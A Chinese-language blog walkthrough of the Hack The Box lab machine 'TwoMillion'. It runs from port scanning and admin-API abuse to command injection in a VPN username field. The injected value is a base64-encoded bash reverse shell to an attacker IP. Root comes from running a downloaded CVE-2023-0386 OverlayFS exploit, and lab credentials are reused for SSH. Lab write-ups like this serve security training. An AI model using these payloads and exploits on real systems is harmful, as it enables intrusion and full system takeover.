HTB打靶记录-TwoMillion

发布于 2024-03-20  97 次阅读


先用nmap扫下端口

$ nmap -p- 10.10.11.221
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-20 20:00 CST
Nmap scan report for 2million.htb (10.10.11.221)
Host is up (0.21s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 597.40 seconds

$ nmap -sCV -Pn -p22,80 10.10.11.221 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-20 20:22 CST
Nmap scan report for 2million.htb (10.10.11.221)
Host is up (0.21s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Hack The Box :: Penetration Testing Labs
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.83 seconds

80端口有网页服务,加个hosts访问看看

echo "10.10.11.221 2million.htb">>/etc/hosts

image-20240320202527496

是以前的HTB网页,扫一下目录和子域名

$ dirsearch -u http://2million.htb/

  _|. _ _  _  _  _ _|_    v0.4.3                                                                                                     
 (_||| _) (/_(_|| (_| )                                                                                                              
                                                                                                                                     
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/桌面/reports/http_2million.htb/__24-03-20_20-26-24.txt

Target: http://2million.htb/

[20:26:24] Starting:                                                                                                                 
[20:26:29] 301 -  162B  - /js  ->  http://2million.htb/js/                  
[20:26:46] 200 -    2KB - /404                                              
[20:27:06] 401 -    0B  - /api                                              
[20:27:07] 401 -    0B  - /api/v1                                           
[20:27:08] 301 -  162B  - /assets  ->  http://2million.htb/assets/          
[20:27:08] 403 -  548B  - /assets/                                          
[20:27:19] 403 -  548B  - /controllers/                                     
[20:27:20] 301 -  162B  - /css  ->  http://2million.htb/css/                
[20:27:29] 301 -  162B  - /fonts  ->  http://2million.htb/fonts/            
[20:27:32] 302 -    0B  - /home  ->  /                                      
[20:27:34] 301 -  162B  - /images  ->  http://2million.htb/images/          
[20:27:34] 403 -  548B  - /images/
[20:27:38] 403 -  548B  - /js/                                              
[20:27:41] 200 -    4KB - /login                                            
[20:27:42] 302 -    0B  - /logout  ->  /                                    
[20:28:02] 200 -    4KB - /register                                         
[20:28:22] 301 -  162B  - /views  ->  http://2million.htb/views/            
                                                                             
Task Completed                                  
$ gobuster dns -d 2million.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Domain:     2million.htb
[+] Threads:    10
[+] Timeout:    1s
[+] Wordlist:   /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
===============================================================
Starting gobuster in DNS enumeration mode
===============================================================
Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================

有个api的接口,但是需要登录才能访问

注册需要邀请码,看看具体的js代码

eval(function(p, a, c, k, e, d) {
    e = function(c) {
        return c.toString(36)
    }
    ;
    if (!''.replace(/^/, String)) {
        while (c--) {
            d[c.toString(a)] = k[c] || c.toString(a)
        }
        k = [function(e) {
            return d[e]
        }
        ];
        e = function() {
            return '\\w+'
        }
        ;
        c = 1
    }
    ;while (c--) {
        if (k[c]) {
            p = p.replace(new RegExp('\\b' + e(c) + '\\b','g'), k[c])
        }
    }
    return p
}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}', 24, 24, 'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'), 0, {}))

是混淆过的代码,但是可以看到有makeInviteCode获取邀请码,verifyInviteCode验证邀请码

在控制台看看makeInviteCode

image-20240320203411650

function verifyInviteCode(code) {
    var formData = {
        "code": code
    };
    $.ajax({
        type: "POST",
        dataType: "json",
        data: formData,
        url: '/api/v1/invite/verify',
        success: function(response) {
            console.log(response)
        },
        error: function(response) {
            console.log(response)
        }
    })
}
function makeInviteCode() {
    $.ajax({
        type: "POST",
        dataType: "json",
        url: '/api/v1/invite/how/to/generate',
        success: function(response) {
            console.log(response)
        },
        error: function(response) {
            console.log(response)
        }
    })
}

可以看到是通过POST访问api获取验证码

bp发下包

image-20240320203655290

有一个Rot13编码的字符串"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr",解码后是

“In order to generate the invite code, make a POST request to /api/v1/invite/generate”

继续访问

image-20240320204346053

base64解码就可以拿到邀请码X8P8C-28G63-MUHHT-PMZTG

用这个邀请码注册一个账号

image-20240320204505470

登录后访问下api

{
    "v1":{
        "user":{
            "GET":{
                "\/api\/v1":"Route List",
                "\/api\/v1\/invite\/how\/to\/generate":"Instructions on invite code generation",
                "\/api\/v1\/invite\/generate":"Generate invite code",
                "\/api\/v1\/invite\/verify":"Verify invite code",
                "\/api\/v1\/user\/auth":"Check if user is authenticated",
                "\/api\/v1\/user\/vpn\/generate":"Generate a new VPN configuration",
                "\/api\/v1\/user\/vpn\/regenerate":"Regenerate VPN configuration",
                "\/api\/v1\/user\/vpn\/download":"Download OVPN file"},
            "POST":{
                "\/api\/v1\/user\/register":"Register a new user",
                "\/api\/v1\/user\/login":"Login with existing user"
            }
        },
        "admin":{
            "GET":{
                "\/api\/v1\/admin\/auth":"Check if user is admin"
            },
            "POST":{
                "\/api\/v1\/admin\/vpn\/generate":"Generate VPN for specific user"
            },
            "PUT":{
                "\/api\/v1\/admin\/settings\/update":"Update user settings"
            }
        }
    }
}

注意到admin中有一行路由"PUT":{"\/api\/v1\/admin\/settings\/update":"Update user settings"},应该可以用来更改用户为admin

image-20240320205026652

逐个添加缺少的参数,最终修改为admin

image-20240320205221901

验证一下

image-20240320205303537

回到网页端,找了一会没发现有什么变化,再回到api,看一下adminvpn生成

image-20240320205449455

添加参数

image-20240320205554150

生成成功,并且传入的用户名插入了vpn文件,这里可以RCE

TwoMillion | HackTheBox - h4r1337 blog | CTF writeups

可以用;sleep 5来检测RCE

image-20240320205900441

revshells.com

生成shellshell

image-20240320210123538

{
"username": "moran;echo \"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMDEvNDQ0NCAwPiYx\"|base64 -d|bash"
}

image-20240320210215251

image-20240320210523095

拿到shell,但是userflagadmin用户的主目录,拿到的shell没有权限,想办法登录到admin

html中有Database.php

<?php

class Database 
{
    private $host;
    private $user;
    private $pass;
    private $dbName;

    private static $database = null;
    
    private $mysql;

    public function __construct($host, $user, $pass, $dbName)
    {
        $this->host     = $host;
        $this->user     = $user;
        $this->pass     = $pass;
        $this->dbName   = $dbName;

        self::$database = $this;
    }

    public static function getDatabase(): Database
    {
        return self::$database;
    }

    public function connect()
    {
        $this->mysql = new mysqli($this->host, $this->user, $this->pass, $this->dbName);
    }

    public function query($query, $params = [], $return = true)
    {
        $types = "";
        $finalParams = [];

        foreach ($params as $key => $value)
        {
            $types .= str_repeat($key, count($value));
            $finalParams = array_merge($finalParams, $value);
        }

        $stmt = $this->mysql->prepare($query);
        $stmt->bind_param($types, ...$finalParams);

        if (!$stmt->execute())
        {
            return false;
        }

        if (!$return)
        {
            return true;
        }

        return $stmt->get_result() ?? false;
    }
}

是连接数据库的文件,在看index.php

<?php 

session_start();

//error_reporting(E_ALL);
//ini_set('display_errors',1);

spl_autoload_register(function ($name){
    if (preg_match('/Controller$/', $name))
    {
        $name = "controllers/${name}";
    }
    else if (preg_match('/Model$/', $name))
    {
        $name = "models/${name}";
    }
    include_once "${name}.php";
});

$envFile = file('.env');
$envVariables = [];
foreach ($envFile as $line) {
    $line = trim($line);
    if (!empty($line) && strpos($line, '=') !== false) {
        list($key, $value) = explode('=', $line, 2);
        $key = trim($key);
        $value = trim($value);
        $envVariables[$key] = $value;
    }
}


$dbHost = $envVariables['DB_HOST'];
$dbName = $envVariables['DB_DATABASE'];
$dbUser = $envVariables['DB_USERNAME'];
$dbPass = $envVariables['DB_PASSWORD'];


$database = new Database($dbHost, $dbUser, $dbPass, $dbName);
$database->connect();

$router = new Router();

// Home Routes
$router->new('GET', '/', 'HomeController@index');

$router->new('GET', '/invite', 'HomeController@invite');
$router->new('GET', '/register', 'AuthController@get_register');
$router->new('GET', '/login', 'AuthController@get_login');
$router->new('GET', '/logout', 'AuthController@logout');
$router->new('GET', '/404', 'HomeController@not_found');

$router->new('GET', '/home', 'HomeController@home');
$router->new('GET', '/home/changelog', 'HomeController@change_log');
$router->new('GET', '/home/access', 'HomeController@access');
$router->new('GET', '/home/rules', 'HomeController@rules');

// API Routes
$router->new('GET', '/api', 'APIController@get_version');
$router->new('GET', '/api/v1', 'APIController@get_routes');

$router->new('POST', '/api/v1/invite/how/to/generate', 'InviteController@how_to_generate');
$router->new('POST', '/api/v1/invite/generate', 'InviteController@generate');
$router->new('POST', '/api/v1/invite/verify', 'InviteController@verify');

$router->new('GET', '/api/v1/user/auth', 'AuthController@is_authenticated');
$router->new('POST', '/api/v1/user/register', 'AuthController@post_register');
$router->new('POST', '/api/v1/user/login', 'AuthController@post_login');

$router->new('GET', '/api/v1/user/vpn/generate', 'VPNController@generate_user_vpn');
$router->new('GET', '/api/v1/user/vpn/regenerate', 'VPNController@regenerate_user_vpn');
$router->new('GET', '/api/v1/user/vpn/download', 'VPNController@generate_user_vpn');

$router->new('GET', '/api/v1/admin/auth', 'AdminController@is_admin');
$router->new('POST', '/api/v1/admin/vpn/generate', 'VPNController@admin_vpn');
$router->new('PUT', '/api/v1/admin/settings/update', 'AdminController@update_settings');

$response = $router->match();

die($response);

由以下代码可以看出,数据库用户名密码和端口在.env文件中

$envFile = file('.env');
$envVariables = [];
foreach ($envFile as $line) {
    $line = trim($line);
    if (!empty($line) && strpos($line, '=') !== false) {
        list($key, $value) = explode('=', $line, 2);
        $key = trim($key);
        $value = trim($value);
        $envVariables[$key] = $value;
    }
}


$dbHost = $envVariables['DB_HOST'];
$dbName = $envVariables['DB_DATABASE'];
$dbUser = $envVariables['DB_USERNAME'];
$dbPass = $envVariables['DB_PASSWORD'];

看一下.env

image-20240320211124523

数据库的用户名是admin,密码是SuperDuperPass123,大概率就是ssh密码,尝试连接

ssh admin@10.10.11.221

image-20240320211327182

成功登录

接下来是提权,先看看sudo -l

admin@2million:~$ sudo -l
[sudo] password for admin: 
Sorry, user admin may not run sudo on localhost.

看来行不通,再看看suid

admin@2million:~$ find / -perm -u=s -type f 2>/dev/null
/snap/snapd/19122/usr/lib/snapd/snap-confine
/snap/core20/1891/usr/bin/chfn
/snap/core20/1891/usr/bin/chsh
/snap/core20/1891/usr/bin/gpasswd
/snap/core20/1891/usr/bin/mount
/snap/core20/1891/usr/bin/newgrp
/snap/core20/1891/usr/bin/passwd
/snap/core20/1891/usr/bin/su
/snap/core20/1891/usr/bin/sudo
/snap/core20/1891/usr/bin/umount
/snap/core20/1891/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1891/usr/lib/openssh/ssh-keysign
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/umount
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/bin/chfn
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1

也没有什么可以利用的,再找找admin能读取哪些文件

admin@2million:~$ find / -type f -user admin -readable 2>/dev/null
/run/user/1000/systemd/generator.late/app-snap\x2duserd\x2dautostart@autostart.service
/home/admin/.cache/motd.legal-displayed
/home/admin/.profile
/home/admin/.bash_logout
/home/admin/.bashrc
/var/mail/admin

有一封邮件

admin@2million:~$ cat /var/mail/admin 
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather

查找一下OverlayFS / FUSE相关的漏洞,找到了CVE-2023-0386

找一下利用的POC

POC

在本地起一个http服务

python3 -m http.server 7777

image-20240320212105051

在目标机上用wget下载

admin@2million:/tmp$ wget http://10.10.14.101:7777/CVE-2023-0386-master.zip -O CVE-2023-0386-master.zip
--2024-03-20 13:20:13--  http://10.10.14.101:7777/CVE-2023-0386-master.zip
Connecting to 10.10.14.101:7777... connected.
HTTP request sent, awaiting response... 200 OK
Length: 11579 (11K) [application/zip]
Saving to: ‘CVE-2023-0386-master.zip’

CVE-2023-0386-master.zip          100%[==========================================================>]  11.31K  --.-KB/s    in 0.005s  

2024-03-20 13:20:13 (2.28 MB/s) - ‘CVE-2023-0386-master.zip’ saved [11579/11579]

链接两个终端

终端1:

admin@2million:/tmp$ unzip CVE-2023-0386-master.zip 
Archive:  CVE-2023-0386-master.zip
737d8f4af6b18123443be2aed97ade5dc3757e63
   creating: CVE-2023-0386-master/
  inflating: CVE-2023-0386-master/Makefile  
  inflating: CVE-2023-0386-master/README.md  
  inflating: CVE-2023-0386-master/exp.c  
  inflating: CVE-2023-0386-master/fuse.c  
  inflating: CVE-2023-0386-master/getshell.c  
   creating: CVE-2023-0386-master/ovlcap/
 extracting: CVE-2023-0386-master/ovlcap/.gitkeep  
   creating: CVE-2023-0386-master/test/
  inflating: CVE-2023-0386-master/test/fuse_test.c  
  inflating: CVE-2023-0386-master/test/mnt  
  inflating: CVE-2023-0386-master/test/mnt.c  
admin@2million:/tmp$ cd CVE-2023-0386-master/
admin@2million:/tmp/CVE-2023-0386-master$ make all
gcc fuse.c -o fuse -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl
fuse.c: In function ‘read_buf_callback’:
fuse.c:106:21: warning: format ‘%d’ expects argument of type ‘int’, but argument 2 has type ‘off_t’ {aka ‘long int’} [-Wformat=]
  106 |     printf("offset %d\n", off);
      |                    ~^     ~~~
      |                     |     |
      |                     int   off_t {aka long int}
      |                    %ld
fuse.c:107:19: warning: format ‘%d’ expects argument of type ‘int’, but argument 2 has type ‘size_t’ {aka ‘long unsigned int’} [-Wformat=]
  107 |     printf("size %d\n", size);
      |                  ~^     ~~~~
      |                   |     |
      |                   int   size_t {aka long unsigned int}
      |                  %ld
fuse.c: In function ‘main’:
fuse.c:214:12: warning: implicit declaration of function ‘read’; did you mean ‘fread’? [-Wimplicit-function-declaration]
  214 |     while (read(fd, content + clen, 1) > 0)
      |            ^~~~
      |            fread
fuse.c:216:5: warning: implicit declaration of function ‘close’; did you mean ‘pclose’? [-Wimplicit-function-declaration]
  216 |     close(fd);
      |     ^~~~~
      |     pclose
fuse.c:221:5: warning: implicit declaration of function ‘rmdir’ [-Wimplicit-function-declaration]
  221 |     rmdir(mount_path);
      |     ^~~~~
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/11/../../../x86_64-linux-gnu/libfuse.a(fuse.o): in function `fuse_new_common':
(.text+0xaf4e): warning: Using 'dlopen' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking
gcc -o exp exp.c -lcap
gcc -o gc getshell.c
admin@2million:/tmp/CVE-2023-0386-master$ ./fuse ./ovlcap/lower ./gc
[+] len of gc: 0x3ee0
[+] readdir
[+] getattr_callback
/file
[+] open_callback
/file
[+] read buf callback
offset 0
size 16384
path /file
[+] open_callback
/file
[+] open_callback
/file
[+] ioctl callback
path /file
cmd 0x80086601

终端2:

admin@2million:/tmp/CVE-2023-0386-master$ ./exp
uid:1000 gid:1000
[+] mount success
total 8
drwxrwxr-x 1 root   root     4096 Mar 20 13:22 .
drwxrwxr-x 6 root   root     4096 Mar 20 13:22 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan  1  1970 file
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@2million:/tmp/CVE-2023-0386-master# id
uid=0(root) gid=0(root) groups=0(root),1000(admin)
root@2million:/tmp/CVE-2023-0386-master# cd /root
root@2million:/root# cat root.txt 
**************************

image-20240320212624959

成功提权